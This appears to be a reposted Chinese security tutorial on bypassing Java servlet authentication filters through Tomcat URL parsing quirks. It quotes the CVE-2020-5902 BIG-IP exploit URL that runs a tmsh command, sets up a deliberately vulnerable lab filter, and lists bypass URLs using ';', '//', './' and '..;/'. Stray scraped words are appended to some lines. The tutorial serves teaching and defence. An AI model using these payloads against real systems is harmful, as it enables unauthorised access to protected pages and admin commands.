1、背景
借BIG IPCVE-2020-5902 漏洞的payload说一下前端认证绕过,注意这里用到的;分号,是否是在不少认证绕过的payload里都见过。javascript
https://[F5Host]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'
2、原理解析
1、HttpServletRequest中URL解析函数
首先要了解HTTPServletRequest中对URL路径的几种解析方法:php
request.getRequestURL():返回全路径;request.getRequestURI():返回除去Host(域名或IP)部分的路径;request.getContextPath():返回工程名部分,若是工程映射为/,则返回为空;request.getServletPath():返回除去Host和工程名部分的路径;request.getPathInfo():仅返回传递到Servlet的路径,若是没有传递额外的路径信息,则此返回Null;
漏洞出在,当后台程序使用getRequestURI()或getRequestURL()函数来解析用户请求的URL时,若URL中包含了一些特殊符号,则可能会形成访问限制绕过的安全风险,其中分号;就是其一。css
2、Tomcat对URL特殊字符的处理
1)分号;html
在URL中遇到;号会将;xxx/中的分号与斜杠之间的字符串以及分号自己都去掉:前端
2)斜杆/java
判断是否有连续的/,存在的话则循环删除掉多余的/:web
3)./和../安全
将/./删除掉、将/../进行跨目录拼接处理。ruby
总结一下,分号可用在两种场景:微信
/;xxx/实现分割目录/..;/实现跨目录,经常使用在../被禁用的场景下;.css或;.js等利用白名单绕过认证鉴权
3、案例
假设Tomcat上启动的Web目录下存在一个info目录,其中有一个secret.jsp文件,其中包含敏感信息:
<%@ pagecontentType="text/html;charset=UTF-8" language="java" %><html><head> <title>Secret</title></head><body>username: mi1k7ea<br>password: 123456<br>address: china<br>phone: 13666666666<br></body></html>
新建一个filter包,其中新建一个testFilter类,实现Filter接口类,实现只要访问/urltest/info目录下的资源,都须要进行权限判断,不然直接放行。
注意这里调用getRequestURI()函数来获取请求中的URL目录路径,而后调用startsWith()函数判断是不是访问的敏感目录:
package filter;
import javax.servlet.*;import javax.servlet.http.*;import java.io.IOException;
public class testFilter implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException {
}
@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse,FilterChain filterChain) throws IOException, ServletException { HttpServletRequest httpServletRequest =(HttpServletRequest)servletRequest; HttpServletResponse httpServletResponse =(HttpServletResponse)servletResponse;
String url =httpServletRequest.getRequestURI();
if (url.startsWith("/urltest/info")) { httpServletResponse.getWriter().write("No Permission."); return; }
filterChain.doFilter(servletRequest, servletResponse); }
@Override public void destroy() {
}}
编辑web.xml,添加testFilter设置:
<?xml version="1.0"encoding="UTF-8"?><web-appxmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaeehttp://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0"> <filter> <filter-name>testFilter</filter-name> <filter-class>filter.testFilter</filter-class> </filter> <filter-mapping> <filter-name>testFilter</filter-name> <url-pattern>/*</url-pattern> </filter-mapping></web-app>
运行以后,访问http://localhost:8080/urltest/info/secret.jsp,会显示无权限,可用的绕过方法有下面几种:
加/绕过:http://localhost:8080//urltest/info/secret.jsp跨目录:http://localhost:8080/urltest/anything/../info/secret.jsp 或http://localhost:8080/urltest/anything/..;/info/secret.jsp./绕过:http://localhost:8080/urltest/./info/secret.jsp;绕过:http://localhost:8080/urltest/;anything/info/secret.jsp
参考:
http://www.mi1k7ea.com/2020/04/01/Tomcat-URL%E8%A7%A3%E6%9E%90%E5%B7%AE%E5%BC%82%E6%80%A7%E5%8F%8A%E5%88%A9%E7%94%A8/https://mp.weixin.qq.com/s/ujfGCP25lFVRtNQOJYBYDw
本文分享自微信公众号 - 卓文见识(zhuowenjianshi)。
若有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一块儿分享。